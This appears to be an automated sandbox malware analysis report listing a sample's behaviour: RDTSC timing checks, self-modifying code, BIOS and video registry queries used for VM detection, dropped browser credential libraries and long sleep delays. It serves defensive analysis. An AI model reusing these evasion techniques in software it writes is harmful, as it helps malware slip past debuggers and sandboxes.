Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44CDE0 second address: 44CDF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44CDF1 second address: 44CE18 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F2FD103294Ch 0x00000011 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44CE18 second address: 44CE1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44CE1D second address: 44CE3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD103293Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push ecx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44BE29 second address: 44BE40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2FD0BFC0C3h 0x00000009 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44EE3F second address: 44EE43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44EE43 second address: 44EE47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44EE47 second address: 44EE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44EE4D second address: 44EE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a jmp 00007F2FD0BFC0C6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2FD0BFC0C6h 0x00000019 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44EE88 second address: 44EE8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44EE8E second address: 44EEA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2FD0BFC0BDh 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44EEA1 second address: 44EEC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032947h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jno 00007F2FD1032936h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 453AC7 second address: 453ACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 453014 second address: 453019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 453019 second address: 453042 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0BFh 0x00000007 push edx 0x00000008 jbe 00007F2FD0BFC0B6h 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007F2FD0BFC0BCh 0x00000019 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 4531D1 second address: 4531D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 453317 second address: 45331C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 45331C second address: 453357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 je 00007F2FD103294Bh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jl 00007F2FD1032938h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F2FD103293Ah 0x00000021 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 453357 second address: 453368 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007F2FD0BFC0B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 454261 second address: 4542B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD103293Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ebx 0x0000000e push edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edi 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [eax] 0x00000015 jbe 00007F2FD103294Ah 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push esi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F2FD1032949h 0x00000027 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 4542B7 second address: 4542BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 4543DD second address: 4543E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 4546FE second address: 454703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 4547B9 second address: 4547C3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2FD1032936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 53FB58 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 709C96 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6E6F3F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 77057F instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Special instruction interceptor: First address: 2AEC7C instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Special instruction interceptor: First address: 2AC4C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DEC7C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DC4C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Special instruction interceptor: First address: 825C08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Special instruction interceptor: First address: 82340E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Special instruction interceptor: First address: 9E9EA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Special instruction interceptor: First address: 825B38 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Special instruction interceptor: First address: 9CBCFC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Special instruction interceptor: First address: A5170F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Special instruction interceptor: First address: 1989EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Special instruction interceptor: First address: 198B82 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Special instruction interceptor: First address: 32480D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Special instruction interceptor: First address: 34568F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Special instruction interceptor: First address: 35AEC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Special instruction interceptor: First address: 3D3A84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Special instruction interceptor: First address: 54FB58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Special instruction interceptor: First address: 719C96 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Special instruction interceptor: First address: 6F6F3F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Special instruction interceptor: First address: 78057F instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\FHCGCAAKJD.exe

Code function: 14_2_04B90803 rdtsc

14_2_04B90803

Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\pixelarray.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\pixelcopy.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libopusfile-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\rect.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\rwobject.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\color.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\key.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libmodplug-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\event.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\display.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libfreetype-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\_freetype.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libogg-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mixer_music.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libpng16-16.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\constants.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\python310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mask.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\draw.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\scrap.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\transform.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\surface.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_image.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\portmidi.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_mixer.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\bufferproxy.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libopus-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libmpg123-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libvorbisfile-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\math.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mouse.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libwebp-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libFLAC-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mixer.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\surflock.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libtiff-5.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\zlib1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\font.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\imageext.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\image.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\joystick.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\time.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libjpeg-9.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\libvorbis-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_ttf.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\base.cp310-win_amd64.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 5956	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5956	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3032	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3032	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3948	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5644	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5888	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5888	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5236	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5236	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6340	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6340	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3964	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7392	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7752	Thread sleep count: 33 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7752	Thread sleep time: -66033s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5332	Thread sleep count: 241 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5332	Thread sleep time: -7230000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1096	Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1096	Thread sleep time: -82041s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7164	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7164	Thread sleep time: -70035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5332	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe TID: 7632	Thread sleep count: 90 > 30
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe TID: 7632	Thread sleep count: 184 > 30
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe TID: 7632	Thread sleep count: 174 > 30
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe TID: 7632	Thread sleep count: 38 > 30
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe TID: 1472	Thread sleep time: -120000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
